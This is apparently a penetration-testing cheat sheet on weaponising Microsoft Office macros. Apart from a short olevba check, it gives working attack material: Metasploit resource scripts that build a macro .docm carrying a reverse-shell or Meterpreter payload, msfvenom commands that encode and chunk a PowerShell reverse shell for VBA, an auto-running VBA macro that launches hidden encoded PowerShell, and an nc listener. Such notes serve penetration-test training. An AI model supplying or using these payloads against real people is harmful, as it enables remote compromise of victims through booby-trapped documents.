Microsoft Office Macros

Macros can be used for client-side attacks (malicious document). They are written in Visual Basic Application (VBA).

Check macro in file

Install oletools (olevba)

sudo -H pip install -U oletools

Check macro in file

olevba -c <filename.doc>

Create a macro

Save the document as .docm or .doc (Word 97-2003). Do NOT use .docx as they do not support embedded macros.

Microsoft Word

Open Microsoft Office Word or Excel
Create a blank document
Click on the View tab
Click on Macros
Enter macro name Test
Select Macros in: Document1 (or your document name)
Click on Create

LibreOffice

Does not work 🙁 More investigation is required…

Open LibreOffice and create a new document (Writer Document).
Click on menu Tools->Macros->Organize macros
Click on the current document.
Click New.
Enter name Test
Save the file (use “Word 97-2003” for .doc extension).

Generate macro – Metasploit

Parameter “DisablePayloadHandler” does not work for this module. Setting it to “False” will NOT create a listener.

msf-generate-word-macro.rc – Meterpreter payload

setg LHOST tun0                                                                                                                                            
setg LPORT 80                                                                                                                                              
setg PAYLOAD windows/meterpreter/reverse_tcp                                                                                                               
use exploit/multi/fileformat/office_word_macro                                                                                                             
set FILENAME macro.docm                                                                                                                                    
run                                                                                                                                                        
use exploit/multi/handler                                                                                                                                  
set AutoRunScript post/windows/manage/migrate                                                                                                              
set ExitOnSession false
exploit -j

msf-generate-word-macro.rc – Not Meterpreter paylaod

setg LHOST tun0                                                                                                                                            
setg LPORT 80                                                                                                                                              
setg PAYLOAD windows/shell_reverse_tcp                                                                                                               
use exploit/multi/fileformat/office_word_macro                                                                                                             
set FILENAME macro.docm                                                                                                                                    
run                                                                                                                                                        
use exploit/multi/handler
set ExitOnSession false
exploit -j

Execute

sudo msfconsole -q -r msf-generate-word-macro.rc

Generate macro – Manually

Use Msfvenom to generate a reverse shell payload. See also Powershell Cheat Sheet.

Payload must be split into 255-character chunks as VBA has a limitation on string length.

msfvenom -p windows/shell_reverse_tcp LHOST=$KALI_IP LPORT=$LISTENER_PORT -f psh | iconv -t UTF-16LE | base64 -w 255 > windows_shell_b64.txt

for line in $(cat windows_shell_b64.txt); do echo "strFunnyStuff = strFunnyStuff + \"$line\""; done;

msfvenom -p windows/shell_reverse_tcp LHOST=$KALI_IP LPORT=$LISTENER_PORT -f psh | iconv -t UTF-16LE | base64 -w 0 > windows_shell_b64.txt
str=`cat windows_shell_b64.txt`;for (( i=0; i<=${#str}; i+=255 )); do echo "strFunnyStuff = strFunnyStuff + \"${str:$i:255}\""; done

Sub Document_Open()
    Test
End Sub

Sub AutoOpen()
    Test
End Sub

Sub Test()
    Dim strFunnyStuff As String
    
    ' Split string into 255-char chunks as VBA has a limitation on string length
    'strFunnyStuff = "cmd"
    strFunnyStuff = "powershell.exe -nop -w hidden -e "
    strFunnyStuff = strFunnyStuff + "<base64 payload>"
    
    CreateObject("Wscript.Shell").Run strFunnyStuff
End Sub

Start a listener on Kali

nc -lnvp 4444